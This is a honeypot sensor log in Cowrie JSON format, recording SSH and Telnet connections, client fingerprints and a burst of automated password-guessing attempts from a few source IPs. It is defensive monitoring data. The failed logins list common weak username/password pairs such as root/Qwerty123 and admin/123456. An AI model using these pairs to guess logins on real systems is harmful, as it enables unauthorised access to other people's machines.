{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:50.119456Z","src_ip":"45.140.193.156","session":"f5014a2674eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35680,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c44a901b8fd","protocol":"ssh","message":"New connection: 91.92.42.133:35680 (159.203.135.109:22) [session: 9c44a901b8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:50.935818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:51.387525Z","src_ip":"91.92.42.133","session":"9c44a901b8fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:51.390211Z","src_ip":"91.92.42.133","session":"9c44a901b8fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:52.680659Z","src_ip":"91.92.40.171","session":"465489667c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:53.187186Z","src_ip":"91.92.42.133","session":"9c44a901b8fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe313b5ae14","protocol":"telnet","message":"New connection: 172.81.62.90:46314 (159.203.135.109:23) [session: 4fe313b5ae14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:53.403621Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:54.675574Z","src_ip":"91.92.42.133","session":"9c44a901b8fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:54.780937Z","src_ip":"91.92.40.171","session":"465489667c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47108,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef468858907","protocol":"ssh","message":"New connection: 91.92.40.171:47108 (159.203.135.109:22) [session: bef468858907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:55.098127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:55.148208Z","src_ip":"91.92.40.171","session":"bef468858907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:56.147222Z","src_ip":"91.92.40.171","session":"bef468858907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a140d484c15","protocol":"ssh","message":"New connection: 91.92.42.133:47130 (159.203.135.109:22) [session: 3a140d484c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:58.754825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:58.971310Z","src_ip":"91.92.42.133","session":"3a140d484c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:58.974289Z","src_ip":"91.92.42.133","session":"3a140d484c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":32808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6dfcbfcb4e8","protocol":"ssh","message":"New connection: 91.92.40.171:32808 (159.203.135.109:22) [session: e6dfcbfcb4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:59.081227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:59.161716Z","src_ip":"91.92.40.171","session":"e6dfcbfcb4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:59.264088Z","src_ip":"91.92.40.171","session":"e6dfcbfcb4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:59.724829Z","src_ip":"91.92.40.171","session":"e6dfcbfcb4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:00.022746Z","src_ip":"91.92.42.133","session":"3a140d484c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:00.836451Z","src_ip":"91.92.40.171","session":"e6dfcbfcb4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:01.134160Z","src_ip":"91.92.42.133","session":"3a140d484c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:01.248365Z","src_ip":"91.92.40.171","session":"bef468858907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49232,"dst_ip":"159.203.135.109","dst_port":23,"session":"1941433fc371","protocol":"telnet","message":"New connection: 128.199.8.54:49232 (159.203.135.109:23) [session: 1941433fc371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:01.390820Z"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:03.340185Z","src_ip":"91.92.40.171","session":"bef468858907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51616,"dst_ip":"159.203.135.109","dst_port":22,"session":"99a89cb16101","protocol":"ssh","message":"New connection: 91.92.40.171:51616 (159.203.135.109:22) [session: 99a89cb16101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:04.789256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:04.941110Z","src_ip":"91.92.40.171","session":"99a89cb16101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:04.944763Z","src_ip":"91.92.40.171","session":"99a89cb16101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:05.779181Z","src_ip":"91.92.40.171","session":"99a89cb16101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:06.931065Z","src_ip":"91.92.40.171","session":"99a89cb16101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54614,"dst_ip":"159.203.135.109","dst_port":22,"session":"de7036f154ba","protocol":"ssh","message":"New connection: 91.92.42.133:54614 (159.203.135.109:22) [session: de7036f154ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:07.013073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:07.040640Z","src_ip":"91.92.42.133","session":"de7036f154ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:07.129799Z","src_ip":"91.92.42.133","session":"de7036f154ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:07.429451Z","src_ip":"91.92.42.133","session":"de7036f154ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:08.596986Z","src_ip":"91.92.42.133","session":"de7036f154ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51688,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b62ef1a0d18","protocol":"ssh","message":"New connection: 91.92.40.171:51688 (159.203.135.109:22) [session: 6b62ef1a0d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:10.415869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:10.461426Z","src_ip":"91.92.40.171","session":"6b62ef1a0d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:10.562047Z","src_ip":"91.92.40.171","session":"6b62ef1a0d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:11.297573Z","src_ip":"91.92.40.171","session":"6b62ef1a0d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:12.414745Z","src_ip":"91.92.40.171","session":"6b62ef1a0d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52626,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b4a8319c5d3","protocol":"ssh","message":"New connection: 91.92.42.133:52626 (159.203.135.109:22) [session: 2b4a8319c5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:14.712687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:14.718644Z","src_ip":"91.92.42.133","session":"2b4a8319c5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:14.798782Z","src_ip":"91.92.42.133","session":"2b4a8319c5d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:15.135808Z","src_ip":"91.92.42.133","session":"2b4a8319c5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:16.251134Z","src_ip":"91.92.42.133","session":"2b4a8319c5d3","protocol":"ssh"}
